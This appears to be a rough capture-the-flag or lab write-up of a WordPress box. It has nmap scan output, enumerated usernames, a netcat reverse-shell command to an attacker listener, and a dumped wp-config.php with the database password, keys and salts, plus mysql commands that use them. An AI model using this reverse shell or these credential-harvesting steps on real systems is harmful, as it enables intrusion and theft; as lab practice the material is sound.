PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 59:b7:db:e0:ba:63:76:af:d0:20:03:11:e1:3c:0e:34 (RSA)
| 256 2e:20:56:75:84:ca:35:ce:e3:6a:21:32:1f:e7:f5:9a (ECDSA)
|_ 256 0d:02:83:8b:1a:1c:ec:0f:ae:74:cc:7b:da:12:89:9e (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Upon dirsearch, I've found a wordpress login page.
www-data, takis, and root are the valid usernames ---could bruteforce ssh later.
used the netcat reverse shell
nc -e /bin/sh 192.168.49.140 4444
anddd we got a reverse shell as www-data!!!
Priv esc:
wordpress config
QL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress_db' );
/** MySQL database username */
define( 'DB_USER', 'wp_user' );
/** MySQL database password */
define( 'DB_PASSWORD', 'R3&]vzhHmMn9,:-5' );
mysql -u wp_user -e -p 'R3&]vzhHmMn9,:-5' "SHOW VERSION();"
mysql -u root -e "SHOW VERSION();"
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', '$bDhwe@ aW2=HmnqU6GU:#uE.Zfk-?;_:u.Q][{Xi0Z_k,+#nxnI[TNl2YB[<[cI' );
define( 'SECURE_AUTH_KEY', '0D#hUv0AK{@zD -S[tO/@x2ZqEUb6H~7dU}|qon*o9To(!25rn25=^RnE83}czwx' );
define( 'LOGGED_IN_KEY', '_.sLFXmT yAhC!QUo8.NXNm]l~}1m5{uWse59w)<PML i4PQX50f{wh%(Hr|qThu' );
define( 'NONCE_KEY', '3TG=HS42u(X7s6.WUIeQ{@P$w(:]7.]Gmtk`ZlH5.`zAmU0K},(Z^srahRcNIUQY' );
define( 'AUTH_SALT', '<i1,O4cg-nF0$uzV08?YgCVyx/Pe!bUZ!WZ$uLfQSHW8[0:%{GRP19D.%rvA!<}P' );
define( 'SECURE_AUTH_SALT', 'qNuof_(c=U36P(7jk4#l3bKoMJA9tHz(F!U-X;wQz8,In,:8*F^WNHB}^I`0Cs][' );
define( 'LOGGED_IN_SALT', '}%].&sH`s8IBlb+iebj*Cp8:9#ctz{Py_d_O-OkAF|K;r(IH}6P7y;v{DXG*#N>W' );
define( 'NONCE_SALT', ':<^2H)#:@7|lQP.M2FFL!+H1M&]nri4~)^6f/u&k|Bl$!xq2)@<jeZacZ8&mrpV}' );
